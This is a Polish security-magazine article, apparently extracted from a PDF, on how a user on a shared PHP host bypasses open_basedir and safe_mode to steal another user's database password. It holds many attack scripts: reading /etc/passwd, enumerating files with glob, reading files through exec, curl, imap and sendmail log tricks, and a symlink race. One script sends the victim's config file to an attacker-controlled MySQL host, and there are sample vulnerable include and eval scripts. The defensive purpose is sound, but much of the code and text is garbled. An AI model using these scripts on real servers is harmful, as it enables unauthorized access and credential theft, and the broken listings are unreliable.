ganizujemy niewielki teatrzyk. Głów-
ne role w naszym przedstawieniu bę-
dą odgrywać użytkownicy:

• www-data – użytkownik, z którego

uruchamiany jest demon WWW
(Apache2),

O autorze

Autor jest właścicielem i jednocześnie jednym z głównych programistów firmy tworzą-
cej między innymi oprogramowanie PHP. Od kilku lat współpracuje również z firmami
hostingowymi w charakterze administratora. Kontakt z autorem: pawel.maziarz@in-
tersim.pl.

Listing 1.

fragment pliku /etc/passwd

www-data:x:33:33:www-data:/var/www:/bin/false
mieciu:x:1069:100:dr Mieczyslaw:/home/users/mieciu:/bin/false
haker:x:31337:100:student doktora Mieczyslawa:/home/users/haker:/bin/false

Rysunek 1.

Zrzut ekranu przedstawiający wykorzystanie błędu w użyciu funkcji include

Dyrektywy safe_mode

•

safe_mode

– włącz lub wyłącz safe_mode

•

safe _ mode _ gid

– sprawdzaj grupę pliku zamiast jego właściciela

•

safe _ mode _ include _ dir

– pomiń sprawdzanie użytkownika/grupy dla plików

z podanych katalogów

•

safe _ mode _ exec _ dir

– ogranicz funkcje uruchamiające programy jak exec()

do uruchamiania programów z podanego katalogu

•

safe _ mode _ allowed _ env _ vars

– zezwól użytkownikowi na zmianę wartości

zmiennych zaczynających się podanym prefiksem

•

safe _ mode _ protected _ env _ vars

– zabroń użytkownikowi zmiany wartości

zmiennych zaczynających się podanym prefiksem

hakin9 Nr 3/2007

www.hakin9.org

Obrona

• mieciu – dr Mieczysław, uczci-

wy pracownik jednej z wyższych
uczelni, posiadający na serwerze
forum dostępne tylko dla swoich
współpracowników, na którym
szczegółowo omawiają oni za-
gadnienia na planowane egzami-
ny, kolokwia i kartkówki,

• haker – student doktora Mieczy-

sława, który pozyskał konto na
tym samym serwerze, co jego
wykładowca, w celu umożliwie-
nia sobie uczestnictwa (choćby
biernego) w dyskusjach tej eli-
tarnej grupy. Listing 1 pokazuje
część pliku /etc/passwd dotyczą-
cą tych trzech użytkowników.

Przedstawienie

czas zacząć

Haker wie, że forum doktora Mieczy-
sława znajduje się na serwerze, na
którym właśnie sam pozyskał konto.
Wie, że korzysta on z bazy danych.
Zdaje sobie też sprawę z tego, że by
osiągnąć swój cel musi zdobyć do-
stęp do tej bazy. Wie, że login i hasło
do niej znajdują się na koncie dok-
tora w jednym z plików konfiguracyj-
nych. Nie wie jednak pod jakim logi-
nem widnieje wykładowca w syste-
mie ani tego gdzie poszukiwania ha-
seł zacząć. Wie natomiast, że jeże-
li zobaczy listę użytkowników, od ra-
zu pozna login należący do doktora.
Pisze więc prosty skrypt includepas-
swd.php, który wyświetli przeglądar-
ce zawartość pliku /etc/passwd – Li-
sting 2.

Po wpisaniu adresu skryptu w

przeglądarce, czeka go jednak z
pewnością widok jednego z komu-
nikatów, które przedstawia Listing
19 lub Listing 20. Za pierwszy odpo-
wiada dyrektywa

safe _ mode

, za dru-

open _ basedir

, które są powszech-

nie używane.

safe_mode

Dyrektywa

safe _ mode

jest jedną z

prób rozwiązania problemu dzielenia
jednego systemu przez wielu użyt-
kowników. Ma na celu ograniczenie
dostępu do zasobów danego użyt-
kownika wyłącznie dla ich właścicie-
la. Najbardziej charakterystycznym
efektem uruchomienia tej dyrektywy,

jest każdorazowe sprawdzanie, czy
właściciel otwieranego pliku bądź
katalogu jest właścicielem skryptu,
z którego zasób jest otwierany. Je-
żeli nie jest,

safe _ mode

zakomuni-

kuje ostrzeżenie jak powyżej i ope-
racja zakończy się niepowodzeniem.

safe _ mode

posiada też kilka bardziej

wyspecjalizowanych dyrektyw, które
przedstawione są w ramce.

open_basedir

Dyrektywa

open _ basedir

ogra-

nicza dostęp do plików i katalo-
gów do podanej ścieżki. Jeżeli plik
bądź katalog znajduje się poza nią,

Lista funkcji POSIX :

•

posix_access

– sprawdź dostęp do pliku

•

posix _ ctermid

– podaj ścieżkę kontrolującego terminala

•

posix _ get _ last _ error

-- podaj numer błędu ostatniej funkcji POSIX

•

posix _ getcwd

– podaj bieżący katalog

•

posix _ getegid

– podaj efektywny ID bieżącego procesu

•

posix _ geteuid

– podaj efektywny ID użytkownika bieżącego procesu

•

posix _ getgid

– podaj prawdziwy ID grupy bieżącego procesu

•

posix _ getgrgid

– pobierz informacje na temat grupy o podanym ID

•

posix _ getgrnam

– pobierz informacje na temat grupy o podanej nazwie

•

posix _ getgroups

– podaj listę grup bieżącego procesu

•

posix _ getlogin

– podaj nazwę użytkownika

•

posix _ getpgid

– podaj grupę procesu podanego jako argument

•

posix _ getpgrp

– podaj identyfikator grupy bieżącego procesu

•

posix _ getpid

– podaj aktualny PID procesu

•

posix _ getppid

– podaj PID procesu-rodzica

•

posix _ getpwnam

– podaj informacje o użytkowniku o podanej nazwie

•

posix _ getpwuid

– podaj informacje o użytkowniku o podanym ID

•

posix _ getrlimit

– podaj informacje o limitach systemowych

•

posix _ getsid

– podaj SID procesu

•

posix _ getuid

– podaj prawdziwy ID użytkownika bieżącego procesu

•

posix _ isatty

– sprawdź, czy identyfikator pliku jest interaktywnym terminalem

•

posix _ kill

– wyślij sygnał do procesu

•

posix _ mkfifo

– stwórz potok fifo

•

posix _ mknod

– stwórz specjalne urządzenie

•

posix _ setegid

– ustaw efektywną grupę bieżącego procesu

•

posix _ seteuid

– ustaw efektywnego użytkownika procesu

•

posix _ setgid

– ustaw grupę bieżącego procesu

•

posix _ setpgid

– ustaw grupę group id for job control

•

posix _ setsid

– ustaw bieżący proces liderem sesji

•

posix _ setuid

– ustaw UID bieżącego procesu

•

posix _ strerror

– podaj tekst błędu o podanym jako argument numerze

•

posix _ times

– podaj wyznaczniki czasowe procesu

•

posix _ ttyname

– podaj nazwę urządzenia terminala

•

posix _ uname

– podaj informacje o systemie

Funkcje uruchamiające programy

•

exec

– uruchom program, zapisz wyjście oraz kod powrotu do zmiennych, zwróć

ostatnią linijkę wyjścia

•

passthru

– uruchom program, wyświetl jego wyjście, zapisz kod powrotu

•

system

– uruchom program, wyświetl wyjście, zapisz kod powrotu, zwróć ostatnią

linijkę wyjścia

•

shell _ exec

(lub `polecenie`) - uruchom program, zwróć całe wyjście

•

popen

– uruchom program, stwórz do niego potok, zwróć wskaźnik do plik (taki jak

przy funkcji fopen)

•

proc _ open

– podobnie jak popen, ale z dwukierunkową komunikacją

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

wyświetlany jest odpowiedni komu-
nikat i operacja kończy się niepo-
wodzeniem. Najczęściej każdy użyt-
kownik posiada na serwerze odpo-
wiednio zdefiniowaną ścieżkę w dy-
rektywie open_basedir.

Można więc poczynić wnioski, że

na serwerze, na którym te dyrektywy
albo chociaż

open _ basedir

są zde-

finiowane, użytkownik ma dostęp do
plików tylko w swoim katalogu do-
mowym, jednak nie jest to wcale ta-
kie proste. Do naszego scenariusza
dopuśćmy zatem okoliczność, że na
serwerze ustawione są odpowiednio
obie restrykcje i dajmy hakerowi się
wykazać.

Haker posługuje się więc alterna-

tywną metodę odczytania pliku /etc/

passws, tworząc tym samym skrypt

posixcatpasswd.php przedstawiony
na Listingu 3.

Po wpisaniu adresu tego skryp-

tu, w przeglądarce będzie się suk-
cesywnie, linijka po linijce, ukazywać
zawartość pliku /etc/passwd, który
zawiera informacje o użytkownikach.
Efekt taki haker uzyskał dzięki funkcji
posix_getpwuid, zwracającej infor-
macje o użytkowniku, którego iden-
tyfikator podany zostanie jako argu-
ment. Wykorzystując pętle for z war-
tościami z zakresu 0-65535, haker
jest pewien, że zostanie wyświetlona
lista wszystkich użytkowników z uni-
katowymi identyfikatorami UID.

Funkcja

posix _ getpwuid

należy

do rodziny funkcji POSIX, które prze-
ważnie są wkompilowane domyślnie
w pakiety binarne z PHP. By skom-
pilować PHP bez modułu POSIX, wy-
starczy przed kompilacją PHP dodać
do linii polecenia configure przełącz-
nik –disable-posix. Trzeba dodać, że
funkcje POSIX nie biorą pod uwagę
żadnych testów wynikających z dy-
rektyw open_basedir bądź safe_mo-
de, więc jedyne zabezpieczenie przed
nimi to wyłączenie podczas kompila-
cji, bądź dodanie ich do dyrektywy

disabled _ functions

z php.ini.

W ramce obok przedstawione są

wszystkie funkcje POSIX (nie są one
dostępne na platformie Windows).

Napastnik tym sposobem roz-

poznał od razu, że login dokto-
ra Mieczysława to mieciu i wie już,

Rysunek 2.

Zrzut ekranu przedstawiający działanie funkcji eval

Listing 2.

skrypt includepasswd.php wyświetlający plik /etc/passwd

php

header

(

"Content-type: text/plain"

)

;

include

(

"/etc/passwd"

)

;

Listing 3.

skrypt posixcatpasswd.php

<?php

header

(

"Content-type: text/plain"

)

;

for

(

$uid

= 0;

$uid

= 65535; $uid++) {

if (($pw = posix_getpwuid($uid))) {

echo implode(

":"

, $pw) .

"\n"

;

flush();

}

}
?

Listing 4.

globtest.php

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$files

= glob

(

„/home/users/mieciu/*”

)

;

Listing 5.

skrypt globshowsomefiles.php

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$dir

(

isset

(

$_GET

[

'd'

]))

$_GET

[

'd'

]

;

for

(

= 65;

= 90; $i++) {

glob(

"$dir/"

. strtolower(chr($i)) .

"*"

);

glob(

"$dir/"

. chr($i) .

"*"

);

}
?

hakin9 Nr 3/2007

www.hakin9.org

Obrona

że jego katalogiem domowym jest
/home/users/mieciu/. Nie może jed-
nak w tradycyjny sposób (czyli za po-
mocą funkcji opendir/readdir) pobrać
zawartości katalogu domowego dok-
tora, ponieważ nie pozwoli na to dy-
rektywa open_basedir i/lub safe_mo-
de. Istnieje jednak w PHP bardzo cie-
kawa funkcja glob, która zwraca listę
plików pasujących do wyrażenia, ja-
kie się jej poda, np. konstrukcja $ob-

razki_jpg = glob(„img/*.jpg”); zwró-
ci w tablicy nazwy wszystkich plików
z rozszerzeniem .jpg w katalogu img.
Ale czy wcześniej omówione zabez-
pieczenia PHP nie powstrzymają jej
w razie próby penetracji katalogu in-
nego użytkownika? Przeciwnie! Zro-
bią to. I dadzą nam to wyraźnie do zro-
zumienia. Bardzo wyraźnie. Spójrzmy
na Listing 4 przedstawiający działanie
tej funkcji.

Pierwsze dwie linijki skryp-

tu globtest.php występują w celu
upewnienia się, że PHP wyświetli
nam wszystkie błędy i ostrzeżenia.
Ostatnia natomiast próbuje zapisać
w zmiennej $files tablicę z nazwami
plików i katalogów użytkownika mie-
ciu, jednak zamiast tego wyświetli ta-
kie ostrzeżenie:

Warning: glob() [function.glob]:
open_basedir restriction in effect.
File(/home/users/mieciu/Mail) is
not within the allowed path(s): (/tmp:
/home/users/haker) in /home/users/
haker/public_html/globtest.php on
line 5

Dzięki użyciu gwiazdki, funkcja
glob dopasowała pierwszy katalog
u doktora Mieczysława, następnie
zajął się nim open_basedir spraw-
dzając, czy jest on dostępny dla ha-
kera, a jako, że oczywiście nie jest,
PHP odpowiednio to zakomuniko-
wał, podając w ostrzeżeniu nazwę
pliku. Idąc tym tropem, można ła-
two zgadnąć, że zapis glob(„/home/

users/mieciu/a*”); wyświetli ostrze-
żenie o braku dostępu do pierwsze-
go pliku rozpoczynającego się lite-
rą a, o ile taki będzie istniał. Haker
tworzy wtedy szybko skrypt glob-
showsomefiles.php przedstawiony
na Listingu 5.

Po wejściu hakera na stronę http:/

/serwer/globshowsomefiles.php?d=/

home/users/mieciu, w przeglądarce
wyświetlą się mu pierwsze pliki za-
czynające się od małej lub dużej lite-
ry (Listing 21).

Jak widać, dzięki funkcji glob

można poznać ścieżki prywatnych
plików użytkownika, na przykład ma-
teriałów czy zdjęć, do których ad-
res znają tylko nieliczne uprawnione
przez niego osoby. Idąc tym tropem,

Listing 6.

skrypt runlola.php

php

header

(

"Content-type: text/plain"

)

;

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

echo

"exec()

;

(

exec

(

"cat

$file

$ret

))

{

$buf

join

(

$ret

)

;

echo

$buf

;

}

echo

"system()

;

$ret

= system

(

"cat

$file

)

;

echo

$ret

;

echo

"shell_exec()

;

$ret

= shell_exec

(

"cat

$file

)

;

echo

$ret

;

echo

"passthru()

;

passthru

(

"cp

$file

/tmp/.passthrutest"

)

;

readfile

(

"/tmp/.passthrutest"

)

;

unlink

(

"/tmp/.passthrutest"

)

;

echo

"popen()

;

$fp

= popen

(

"cat

$file

"r"

)

;

while

((

$buf

fgets

(

$fp

, 4096

)))

echo

$buf

;

pclose

(

$fp

)

;

(

function_exists

(

"proc_open"

))

{

echo

"proc_open

;

$descriptorspec

array

(

0 =

array

(

"pipe"

"r"

)

1 =

array

(

"pipe"

"w"

)

2 =

array

(

"pipe"

"w"

))

;

$po

= proc_open

(

"cat

$file

$descriptorspec

$pipes

)

;

while

((

$buf

fgets

(

$pipes

[

]

, 4096

)))

echo

$buf

;

proc_close

(

$po

)

;

}
?>

Listing 7.

skrypt curlread.php

php

(

function_exists

(

"curl_init"

))

{

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

$ci

= curil_init

(

"file://

$file

)

;

echo

curl_exec

(

$ci

)

;

}

else

echo

"brak rozszerzenia curl."

;

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

haker znajduje katalog home/users/

mieciu/public_html/forum/, a w nim
plik cfg.php:

Warning: glob() [function.glob]:
open_basedir restriction in effect.
File(/home/users/mieciu/public_html/
forum/cfg.php) is not within the
allowed path(s): (/tmp:/home/users/
haker) in /home/users/haker/
public_html/globtest.php on line 8

Odnalezienie tego pliku, to już poło-
wa sukcesu, wystarczy go już teraz

tylko odczytać. Naturalnie funkcja
glob już w tym nie pomoże. Trzeba
po raz kolejny przechytrzyć

open _

basedir

safe _ mode

Rodzina funkcji exec

PHP, jak każdy język programowa-
nia, oferuje możliwość uruchamiania
zewnętrznych aplikacji. Jest to bar-
dzo przydatna cecha, a niekiedy nie-
zbędna, na przykład wówczas, gdy
PHP skompilowane jest bez obsługi
GD - rozszerzenia do manipulowania
grafiką. Powszechnie używa się ko-

mend wchodzących w skład popular-
nego pakietu ImageMagick (między
innymi polecenia convert, identify).
Jest to też znaczące udogodnienie w
przypadku konwertowania klipów fil-
mowych (polecenie mencoder), czy
w końcu, kiedy skrypty używają wła-
snego autorskiego oprogramowania
(na przykład do zmiany hasła użyt-
kowników poprzez interfejs WWW).

Oczywistym jest jednak fakt, że

możliwość uruchamiania progra-
mów wiąże się z istotną konsekwen-
cją, mianowicie taką, że dyrekty-
wy

open _ basedir

oraz

safe _ mode

nie są w stanie sprawdzać czy, i ja-
kie pliki otwierają uruchamiane pro-
gramy. Istnieje jednak dyrektywa

safe _ mode _ exec _ dir

, definiująca

ścieżkę, w której muszę znajdować
się programy, które użytkownik chce
uruchomić. Aby jednak

safe _ mode _

exec _ dir

zadziałało, musi być włą-

czone samo safe_mode (z czego tak
naprawdę wielu administratorów re-
zygnuje, bo przysparza to de facto
więcej problemów niż korzyści). Al-
ternatywnym rozwiązaniem dla ad-
ministratora jest dodanie tych funk-
cji do dyrektywy PHP disable_func-
tions, która wyłącza je z użycia, a
jako, że można to zrobić poniekąd
niezależnie dla każdego użytkow-
nika, okazuje się to często stoso-
waną praktyką. Funkcje służące do
uruchamiania programów przedsta-
wione są wraz z krótkim opisem w
ramce.

Haker tworzy więc skrypt runlo-

la.php, który testuje po kolei funkcje
opisane powyżej – Listing 6.

Jak się jednak okazuje, admini-

strator przewidział takie zachowania
hakera i jednym ze wspomnianych
wcześniej sposobów uchronił dokto-
ra Mieczysława przed atakiem tego
typu. Przed hakerem ciągle stoi więc
nie lada wyzwanie.

Rozszerzenia PHP

Może dyrektywy open_basedir i sa-
fe_mode mają szansę się spraw-
dzić w wielu przypadkach, jednak
niekwestionowanym tego warun-
kiem jest konieczność wykonywa-
nia odpowiednich testów wszędzie
tam, gdzie dana funkcja ma kontakt

Listing 8.

imaptest.php

php

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

(

function_exists

(

"imap_open"

))

{

$stream

= imap_open

(

$file

)

print_r

(

imap_errors

())

;

(

$stream

)

{

echo

imap_body

(

$stream

, 1

)

;

imap_close

(

$stream

)

;

}

else

echo

"brak funkcji imap"

;

Listing 9.

mysqlloaddatalocal.php

php

header

(

"Content-type: text/plain"

)

;

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

$mysqluser

"haker"

;

$mysqlpass

"tajnehaslo"

;

$mysqlbase

"haker"

;

$mysqlhost

=”host.hakera.pl

if (function_exists("

mysql_connect

")) {

if (!mysql_connect(

$mysqlhost

$mysqluser

$mysqlpass

))

echo mysql_error();
else {
mysql_select_db(

$mysqlbase

);

mysql_query("

CREATE TABLE mysqldatatest

(

blah LONGBLOB

)

") or

print(mysql_error());

mysql_query("

LOAD DATA LOCAL INFILE

'$file'

INTO TABLE mysqldatatest

LINES TERMINATED BY

'hakervsmieciu'") or print(mysql_

error());

$res

= mysql_query("

SELECT blah FROM mysqldatatest

") or print(mysql_

error());

while ((

$row

= mysql_fetch_assoc(

$res

)))

echo

$row

blah

"];

mysql_free_result(

$res

);

mysql_query("

DROP TABLE

EXISTS mysqldatatest

");

mysql_close();
}
}
else
echo "

brak rozszerzenia mysql.";

hakin9 Nr 3/2007

www.hakin9.org

Obrona

z plikami. O ile w większości rozsze-
rzeń PHP jest to zrobione jak nale-
ży, o tyle co jakiś czas odkrywane są
braki takich testów w niektórych bar-
dziej lub mniej popularnych rozsze-
rzeniach. Przeważnie zdarza się to
wskutek zaniedbania programisty,
jednak czasem może okazać się też
po prostu niemożliwe do zaimple-
mentowania.

Do niedawna takim zaniedba-

niem mogło się niechlubnie szczy-
cić rozszerzenie CURL, służące do
pobierania plików za pomocą wielu
możliwych protokołów – http, https,

ftp, gopher, telnet, ldap, dict, a także

file – czyli lokalny dostęp do plików.
Skrypt wykorzystujący takie niedo-
ciągnięcie mógłby więc wyglądać
jak curlread.php przedstawiony na
Listingu 7.

Brak odpowiednich testów zdia-

gnozowano również stosunkowo
niedawno w funkcjach rozszerze-
nia IMAP, służącego do dostępu
do skrzynek lokalnych pocztowych,
IMAP, POP3 oraz NNTP. Zaniedba-
nie w funkcjach imap_open oraz

imap_reopen można było wykorzy-
stać w przedstawiony na Listingu 8
skrypcie.

Ciekawe zjawisko można było

również do niedawna zaobserwo-
wać w funkcjach obsługujących bazę
MySQL. Istnieje bowiem dla tej ba-
zy możliwość uzupełnienia określo-
nej tabeli danymi z pliku znajdujące-
go się na komputerze klienta, służy
do tego zapytanie LOAD DATA LO-
CAL INFILE plik INTO TABLE tabe-
la. Można więc było stworzyć tym-
czasową tabelkę na dowolnym ser-
werze z bazą MySQL (zdalnym lub
lokalnym), połączyć się z nią, a na-
stępnie wykonać przedstawione wy-
żej zapytanie, po czym odczytać za-
wartość pliku z tabelki. Działanie ta-
kie przedstawione jest na Listingu 9.

Jednakże programiści PHP zde-

cydowali się ostatnio na bezkompro-
misowe rozwiązanie tego problemu
i w momencie kiedy używana jest
dyrektywa

open _ basedir

, ustawia-

na jest przy łączeniu z bazą danych
opcja niepozwalająca tworzyć zapy-
tań z tą konstrukcją (a żeby zapyta-
nie się powiodło, musi być na to po-

Listing 10.

skrypt mbsendmailtest.php

php

header

(

"Content-type: text/plain"

)

;

$file

"/home/users/mieciu/public_html/forum/cfg.php"

;

(

function_exists

(

"mb_send_mail"

))

{

mb_send_mail

(

NULL, NULL, NULL, NULL,

"-C

$file

-X /tmp/.mb_send_mail"

)

;

(

file_exists

(

"/tmp/.mb_send_mail"

))

{

readfile

(

"/tmp/.mb_send_mail"

)

;

unlink

(

"/tmp/.mb_send_mail"

)

;

}

else

echo

"brak funkcji mb_send_mail"

;

Listing 11.

symlinksfun.php

php

ini_set

(

"display_errors"

, 1

)

;

error_reporting

(

E_ALL

)

;

mkdir

(

"1/2/3/4/5"

, 0777, true

)

;

symlink

(

"1/2/3/4/5"

"tango"

)

;

symlink

(

"tango/../../../../../"

"cash"

)

;

echo

"pierwszy dostep

katalogu cash...

print_r(glob("

cash/*

"));

unlink("

tango

");

symlink("

", "

tango

");

echo "

drugi dostep

katalogu cash...

print_r(glob("

cash/*"

))

;

Listing 12.

alternatelinks.php

php

mkdir

(

"1/2/3/4/5"

, 0777, true

)

;

symlink

(

"1/2/3/4/5"

"tango"

)

;

symlink

(

"tango/../../../../../"

"cash"

)

;

while

(

)

{

unlink

(

"tango"

)

;

symlink

(

"."

"tango"

)

;

unlink

(

"tango"

)

;

symlink

(

"1/2/3/4/5"

"tango"

)

;

}
?>

Listing 13.

readfileloop.php

php

header

(

"Content-type: text/plain"

)

;

$file

"cash/home/users/mieciu/public_html/forum/cfg.php"

;

while

(

@readfile

(

$file

)

== false

)

;

Listing 14.

badinclude.php

php

$skin

(

isset

(

$_GET

[

'skin'

]))

$_GET

[

'skin'

]

"default"

;

include

(

$skin

"_skin/main.inc"

)

;

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

zwolenie zarówno po stronie klienta
jak i serwera).

Występują jednak sytuacje, na

które zabezpieczenia na poziomie
PHP nie mają wpływu. Na przykład
istnieje funkcja

mb _ send _ mail

, któ-

ra służy do wysyłania maili z odpo-
wiednim kodowaniem. Abstrahując
od tego, czemu ona dokładnie słu-
ży, wyczytać można w dokumenta-
cji, że w przypadku kiedy safe_mo-
de jest wyłączone, można podać
opcjonalnie jako ostatni argument
parametry linii poleceń dla MTA
(ang. Mail Transfer Agent) czyli
programu dostarczającego pocztę.
I tak demon Sendmail może przy-
jąć między innymi takie dwa cieka-
we parametry:

• C plik – ścieżka do alternatywne-

go pliku konfiguracyjnego

• X plik – ścieżka do pliku, w któ-

rym zapisany będzie dość szcze-
gółowy log.

Co to daje hakerowi? Wbrew pozo-
rom całkiem niemało, spójrzmy na
Listing 10.

W ostatnim argumencie ha-

ker podaje jako plik konfiguracyj-
ny dla Sendmaila plik konfigura-
cyjny do forum doktora Mieczysła-
wa jednocześnie prosząc o logi do
pliku

/tmp/.mb _ send _ mail.

Oto co

haker zobaczy w przypadku wyłą-
czonego

safe _ mode

oraz MTA w

postaci Sendmaila na serwerze-
(Listing 22)

Jak widać Sendmailowi nie od-

powiadała żadna linijka z podane-
go pliku konfiguracyjnego, co skru-
pulatnie odnotował, dzięki cze-
mu z jego logów można praktycz-
nie odtworzyć cały plik. Inne MTA
jak Postfix czy Exim działają nieco
inaczej niż Sendmail, więc powyż-
szy przykład dotyczy tylko sytuacji
z tym demonem na serwerze. Może
jednak inne MTA mają inne opcje,
które można odpowiednio wyko-
rzystać?

Wiemy już, jak działają dyrekty-

wy safe_mode i

open _ based

ir – kie-

dy użytkownik chce uzyskać dostęp
do pliku lub katalogu, sprawdzane
są odpowiednie ścieżki lub ich wła-

Listing 15.

blah.txt

php

highlight_file

(

$_SERVER

[

'SCRIPT_FILENAME'

])

;

phpinfo

()

;

Listing 16.

badinclude1.php

php

$skin

(

isset

(

$_GET

[

'skin'

]))

$_GET

[

'skin'

]

"default"

;

$skin

"skins/

$skin

/main.inc"

;

(

file_exists

(

$skin

))

include

(

$skin

)

;

Listing 17.

evalcalc.php – szybki kalkulator w php

php

$expr

(

isset

(

$_POST

[

'expr'

]))

$_POST

[

'expr'

]

;

(

@get_magic_quotes_gpc

())

$expr

stripslashes

(

$expr

)

;

(

empty

(

$expr

))

{

eval

(

result =

$expr

)

;

echo

"Wynik wyrażenia

$expr

$result

;

}

echo

form action=

'$_SERVER[PHP_SELF]'

method=

'POST'

echo "

wyrażenie:

input name=

'expr'

size=

'64'

value=

'$expr'

echo "

input type=

'submit'

value=

'wylicz'

echo "

/form

Listing 18.

illusion.php

php

$skin

(

isset

(

$_GET

[

'skin'

]))

$_GET

[

'skin'

]

"default"

;

$skin

"skins/

$skin

/main.inc"

;

/* zabezpieczmy się przed sytuacją, gdy haker chce wyjść katalog wyżej */

$skin

str_replace

(

"../"

$skin

)

;

(

file_exists

(

$skin

))

include

(

$skin

)

;

Listing 19.

dyrektywa safe_mode

Warning:

include

()

[

function

include

]

SAFE MODE Restriction in effect.
The script whose uid is 31337 is not
allowed to access
/etc/passwd owned by uid 0 in
/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

(

/etc/passwd

)

[

function

include

]

: failed to open

stream: No such

file

directory in

/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

()

[

function

include

]

Failed opening

'/etc/passwd'

for

inclusion

(

include_path=

'.:/usr/share/php:

/usr/share/pear'

)

/home/users/haker/public_
html/includepasswd.php on line 3

hakin9 Nr 3/2007

www.hakin9.org

Obrona

ściciel. Jeżeli plik jest poza ścieżką
wyznaczoną przez open_basedir
bądź jego właścicielem nie jest wła-
ściciel skryptu (w przypadku

safe _

mode

), odmawiany jest użytkowniko-

wi do zasobu dostęp. Spójrzmy na
Listing 11. Natomiast wynik zobaczy-
my na Listingu 23.

Linia mkdir(„1/2/3/4/5”, 0777,

true) tworzy zagłębioną strukturę
katalogów – 5 poziomów. Następ-
nie tworzony jest link symboliczny
o nazwie tango do ostatniego ka-
talogu w tej strukturze. Drugi sym-
link tworzy dowiązanie cash wska-
zujące na pięć katalogów wstecz od
katalogu wskazywanego przez tan-
go, czyli do katalogu, w którym znaj-
dują się de facto oba linki, do któ-
rego oczywiście mamy dostęp, za-
tem próba dostępu do cash zakoń-
czy się powodzeniem.

W następnym kroku usuwany

jest i tworzony na nowo link sym-
boliczny tango, tym razem wskazu-
jąc jednak na katalog bieżący. Po
tym zabiegu cash wskazuje na pięć
katalogów wstecz od katalogu bie-
żącego, a więc na główny katalog
/. Nie należy on do nas ani nie jest
w ścieżce określonej przez

open _

basedir

, więc PHP nie pozwoli nam

go odczytać, co widać powyżej.
Jeżeli przypomnimy sobie teraz ar-
tykuł Michała Wojciechowskiego z
trzeciego numeru hakin9 na temat
sytuacji wyścigu, zauważyć moż-
na tutaj analogiczną sytuację. By
z niej skorzystać, stworzymy dwa
skrypty, pierwszy (Listing 12) bę-
dzie nieustannie podmieniał link
symboliczny tango – raz na katalog
1/2/3/4/5, raz na katalog bieżący,
drugi (Listing 13) będzie do skutku
próbował odczytać plik cash/home/

users/mieciu/public_html/forum/

cfg.php.

W końcu wystąpi sytuacja, kie-

dy PHP sprawdzi dostęp do pliku w
momencie, gdy tango będzie wska-
zywał na katalog 1/2/3/4/5, a więc
nie będzie nam się sprzeciwiał, bo
otwierany cash będzie wskazywał
na katalog bieżący, a chwilę później,
kiedy będzie otwierany z drugie-
go skryptu plik doktora Mieczysła-
wa, tango wskazywać już będzie na

Listing 20.

dyrektywa open_basedir

Warning:

include

()

[

function

include

]

open_basedir restriction in effect.

File

(

/etc/passwd

)

is not within the

allowed path

(

)

(

/tmp:/home/users/haker

)

/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

(

/etc/passwd

)

[

function

include

]

failed to open stream: Operation not
permitted in /home/users/haker/public
html/p1.php on line 3

Warning:

include

()

[

function

include

]

Failed opening

'/etc/passwd'

for

inclusion

(

include_path=

'.:/usr/share/php:

/usr/share/pear'

)

/home/users/haker/public_
html/includepasswd.php on line 3

Listing 21.

Pierwsze pliki po wejściu na stronę

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

home/users/mieciu/

Mail

)

is not within the allowed

path

(

)

(

/tmp:/home/users/haker

)

in /home/users/

haker/public_html/globtest.php on line 9

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

home/users/mieciu/public_html

)

is not within the

allowed path

(

)

(

/tmp:/home/users/haker

)

in /home/

users/haker/public_html/globtest.php on line 8

Listing 22.

Włączony safe_mode i MTA

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:
line 1: unknown configuration line
"
<?php"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:
line 2: unknown configuration line
".user = "mieciu";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 3:
unknown configuration line ".pass =
"niktniezaliczy!";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 4:
unknown configuration line ".host =
"localhost";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 5:
unknown configuration line ".base = "mieciu-forum";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 6:
unknown configuration line "?>"

11905 >>> No local mailer defined

11905 >>> QueueDirectory (Q) option must be set

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

katalog bieżący, a więc cash na /
- wyścig wygrany – hasła miecia
w przeglądarce! Skrypt alternate-
links.php można jeszcze uprościć
usuwając dwie ostatnie linijki z pę-
tli while usuwające i tworzące link
symboliczny tango na katalog 1/2/3/
4/5, ponieważ katalog wskazywany
przez cash nie będzie istniał, a więc
nie wyprowadzi do katalogu głów-
nego /. Jedynym sposobem zabez-
pieczenia przez administratora ta-
kiej sytuacji wyścigu jest wyłączenie
z użycia funkcji symlink poprzez do-
danie jej do dyrektywy disable_func-
tions w pliku php.ini. Tym oto sposo-
bem haker pozyskał dostęp do bazy
danych i konta swojego wykładow-
cy, co na pewno zaowocuje zalicze-
niem kursu.

Należy jeszcze zwrócić uwagę,

że haker mając możliwość urucha-
miania swoich własnych skryptów
CGI w perlu, bashu, c, pythonie, czy
w jeszcze innym języku również omi-
ja zabezpieczenia związane z

open _

basedir

oraz

safe _ mode

, bo są to w

końcu zabezpieczenia PHP.

Załóżmy teraz, że administra-

tor zabezpieczył serwer jak nale-
ży, użytkownicy nie mają wzajem-
nie dostępu do swoich zasobów.
Hakerowi został więc teraz plan B
czyli szukanie niedociągnięć i za-
niedbań w skryptach PHP znajdu-
jących się na koncie doktora Mie-
czysława. Przeanalizujemy teraz
kilka hipotetycznych sytuacji, które
teoretycznie mogą wystąpić, a za-
uważymy, że faktycznie często się
one zdarzają.

